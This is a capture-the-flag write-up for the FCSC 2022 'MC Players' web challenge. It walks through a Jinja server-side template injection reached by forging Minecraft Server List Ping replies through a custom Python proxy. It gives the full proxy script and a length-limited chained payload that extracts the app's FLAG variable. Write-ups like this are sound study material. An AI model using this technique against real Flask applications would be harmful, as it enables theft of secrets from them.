MC Players - FCSC 2022
Initial Statement
We have a web server using the MC Status library and we have the source code of the application.
Introduction
First thing to do with that kind of web challenge is read the source code to better understand the technologies and spot the vulnerabilities.
Source code analysis
Here is an overview of the application, good news, there is a docker compose so we can test the application locally. Other thing we notice, it's a python application.
There are two applications, one that seems to contain the flag, and one that holds the web application. Great.
The flag docker is simply the http server that serves the flag locally so the web application can get it, then it exits and the docker dies.
The web server is more interesting.
We can see there are two routes, "/" and "/flag".
Here is the flag route:
@app.route('/flag', methods=['GET'])
def flag():
if request.remote_addr != '13.37.13.37':
return 'Unauthorized IP address: ' + request.remote_addr
return FLAG
Considering that we need the ip address 13.37.13.37 and that I know no way to spoof the remote_address, it's probably not the right way to try to reach the flag this way.
Looking at the index we can see multiple interesting things:
When making a post request, the server will make a call the mcstatus library which will communicate with a Minecraft Server through the "Server List Ping" interface provided by minecraft servers. The interface is well documented here: https://wiki.vg/Server_List_Ping#:~:text=Server List Ping (SLP) is,the interface is always enabled.
Once the ping done, the server will extract several informations:
- The number of players connected (through the players.sample field, it has its importance)
- The max amount of players
Then, it will print the informations on the page. The server will render all those informations. Let's check out how the printing is done.
First, the server will iterate over the list of players in sample, checking its length that has not to be over 20.
players = []
if status.players.sample is not None:
for player in status.players.sample:
if re.match(r'\w*', player.name) and len(player.name) <= 20:
players.append(player.name)
Then, that list will be added as string to an html template. Which will then be rendered as a Jinja template. Here is the vulnerability: Server Side Template Injection (SSTI).
html_player_list = f'''
<br>
<h3>{hostname} ({len(players)}/{status.players.max})</h3>
<ul>
'''
for player in players:
html_player_list += '<li>' + player + '</li>'
html_player_list += '</ul>'
results = render_template_string(html_player_list)
return render_template('index.html', results=results)
Goals and Steps
Hence, here is our goal and the steps needed:
- Craft a valid SLP response to add arbitrary players
- Exploit the SSTI
- Get the flag
Exploitation
Crafting the request
The Server List Ping interface is well documented. But instead of building a server responding to queries from scratch, to go faster, I thought I could simply develop a proxy and modify requests on the fly.
Here is a SLP request for the minecraft serveur mc.opblocks.com (I'll explain later why I chose this server):
\xefA\x00\xecA{"version":{"protocol":47,"name":"Velocity 1.7.21.18.2"},"players":{"online":3927,"max":3928,"sample":[]},"description":{"extra":[{"bold":true,"color":"red","text":"OP
Blocks "},{"color":"dark_gray","text":"\xc2\xbb "},{"bold":true,"color":"aqua","text":"Skyblock Season 8 "},{"color":"dark_gray","text":
"\xc2\xbb "},{"bold":true,"color":"white","text":"Now Live! "},{"color":"gray","text":"Join our "},{"color":"red","text":"Discord []"},
{"color":"gray","text":"today @ "},{"bold":true,"color":"red","text":"OPBLOCKS.COM"},{"color":"gray","text":"!"}],"text":""},"favicon":"[base64 encoded png]","modinfo":{"type":"FML","modList":[]}}
Which is roughly: [size of the packet][packet type][size of the json][json]
I didn't want to play with sizes, so I took the base64 and stored it in a file, I chose the mc.opblocks.com server because the favicon data was big enough to cut it as and store a lot of information in the players.sample field.
Also the DNS of my server is mapped as *.woody.sh
, this way, I just had to specify a domain name pointing to my server with the exact same length as mc.opblocks.com
and I could simply replace the domain name on the fly.
Here is how I built my proxy:
#!/usr/bin/python3
import socket
player = b"{\"id\": \"00000000-0000-0000-0000-000000000000\", \"name\":\"{{7*7}}\"}" # used to store the players as bytes.
# Here, we try ton confirm there is an SSTI
favicon = open('favicon', 'r').read()
# Open a socket server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 25565))
s.listen(1)
client, addr = s.accept()
print("Client connected", addr)
# Open a connection to the minecraft server
mc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mc.connect(("mc.opblocks.com", 25565))
# Handle ping request from mcstatus
packet_1 = client.recv(1024)
print("PING REQUEST:", repr(packet_1))
# Proxy to the minecraft server
mc.send(packet_1.replace(b"abcdef.woody.sh", b"mc.opblocks.com"))
# Receive the response
packet_2 = mc.recv(10000)
# Here I shorten the favicon to get fit my payload in the players sample
forged_packet = packet_2.replace(favicon.encode(), favicon[:-len(player.decode())].encode())
# Add players
forged_packet = forged_packet.replace(b"sample\":[]", b"sample\":[" + player + b"]")
client.send(forged_packet) # Then I send the packet to mcstatus
# After the Ping request, mcstatus issues another request
packet_3 = client.recv(128)
mc.send(packet_3)
packet_3_res = mc.recv(128)
client.send(packet_3_res)
Simply running the script and querying my server results in the following:
We can communicate with the server and we have an SSTI ! Great, let's move to next step.
Get the path of flag
As the flag server dies after the first GET request. The flag is now stored only in the application. It would have been too long to search the flag using the SSTI (and a bit difficult).
We know it is used in the function flag of the web application, let's try to find a path to this variable.
To be more effective, I modified the app.py source code this way:
FLAG = "FLAG{sample}"# requests.get('http://mc-players-flag:1337/').text
app = Flask(__name__, template_folder='./')
app.config['DEBUG'] = True # False
So I could start the server using the debug mode and access the flask console:
We have the pin code of the console, which we can reach on the /console endpoint.
Now let's dive into the variables, we can see using dir()
that there is an app
variable. Using try and errors, I reached to the FLAG variable using this command:
dump(app.view_functions["flag"].__globals__)
Where I could see the FLAG variable. Problem is, using the SSTI, we can't access flag directly. I needed a path to reach the app.
To make it more easy, I deleted the check on the length so I didn't have to tweat my payload to fit in the size, and search freely. I ended up find I could access the app application using this payload:
url_for.__globals__.current_app
Hence the flag using this payload:
url_for.__globals__.current_app.view_functions['flag'].__globals__['FLAG']
Now we know where to get the flag, and there is only one boundary between us and the flag: the size limit.
Bypassing the size limit
Our payload had to fit inside 20 characters. An interesting feature with Jinja is that we can declare variables on the flag using the keyword with
. Here is the syntax:
{% with x=y %}
# [...]
{% endwith %}
So here is my payload encapsulated with with
(probably not the cleanest solution, but does its job :) ):
{%with a=url_for%}
{%with b='__glo'%}
{%with c='bals__'%}
{%with d='curren'%}
{%with e='t_app'%}
{%with f=a[b+c]%} # url_for["__globals__"]
{%with g=f[d+e]%} # url_for["__globals__"]["current_app"]
{%with h='view_'%}
{%with i='funct'%}
{%with j='ions'%}
{%with k=h+i+j%} # "view_functions"
{%with l=g[k]%} # url_for["__globals__"]["current_app"]["view_functions"]
{%with m='flag'%}
{%with n=l[m]%} # url_for["__globals__"]["current_app"]["view_functions"]["flag"]
{%with o=n[b+c]%}
{{o}} # url_for["__globals__"]["current_app"]["view_functions"]["flag"]["__globals__"]
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
{%endwith%}
To this, I had to add a unique ID to each line of this payload, and store them as a list of dictionnaries.
{\"id\": \"00000000-0000-0000-0000-000000000000\", \"name\":\"{%with a=url_for%}\"},{\"id\": \"00000000-0000-0000-0000-000000000001\", \"name\":\"{%with b='__glo'%}\"},{\"id\": \"00000000-0000-0000-0000-000000000002\", \"name\":\"{%with c='bals__'%}\"},{\"id\":\"00000000-0000-0000-0000-000000000003\", \"name\":\"{%with d='curren'%}\"},{\"id\": \"00000000-0000-0000-0000-000000000004\", \"name\":\"{%with e='t_app'%}\"},{\"id\": \"00000000-0000-0000-0000-000000000005\", \"name\":\"{%with f=a[b+c]%}\"},{\"id\": \"00000000-0000-0000-0000-000000000006\", \"name\":\"{%with g=f[d+e]%}\"},{\"id\": \"00000000-0000-0000-0000-000000000007\", \"name\":\"{%with h='view_'%}\"},{\"id\": \"00000000-0000-0000-0000-000000000008\", \"name\":\"{%with i='funct'%}\"},{\"id\": \"00000000-0000-0000-0000-000000000009\", \"name\":\"{%with j='ions'%}\"},{\"id\": \"00000000-0000-0000-0000-00000000000a\", \"name\":\"{%with k=h+i+j%}\"},{\"id\": \"00000000-0000-0000-0000-00000000000b\", \"name\":\"{%with l=g[k]%}\"},{\"id\": \"00000000-0000-0000-0000-00000000000c\", \"name\":\"{%with m='flag'%}\"},{\"id\": \"00000000-0000-0000-0000-00000000000d\", \"name\":\"{%with n=l[m]%}\"},{\"id\": \"00000000-0000-0000-0000-00000000000e\", \"name\":\"{%with o=n[b+c]%}\"}, \"name\":\"{{o}}\"},{\"id\": \"00000000-0000-0000-0000-000000000011\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000012\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000013\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000014\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000015\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000016\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000017\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000018\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-000000000019\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001a\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001b\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001c\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001d\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001e\", \"name\":\"{%endwith%}\"},{\"id\": \"00000000-0000-0000-0000-00000000001f\", \"name\":\"{%endwith%}\"}
Now we only have to paste it in our script !
It gives us our local flag, hence we can try it on the challenge server and get the actual flag ! After solving the Proof Of Work...
Flag: FCSC{4141f870d98724a3c32b138888e72c5de4e3c793fe1410e1e269d551ae3b3b0f}
Conclusion
Thanks for the amazing challenge. My solution might not be the best looking solution, but I wanted to take shortcuts, and I think I acheived this goal, since I only had to code a simple tcp proxy that would modify the requests on the fly. The SSTI part was fun because for once, we didn't have to "just" get command execution, but dive into python's variable.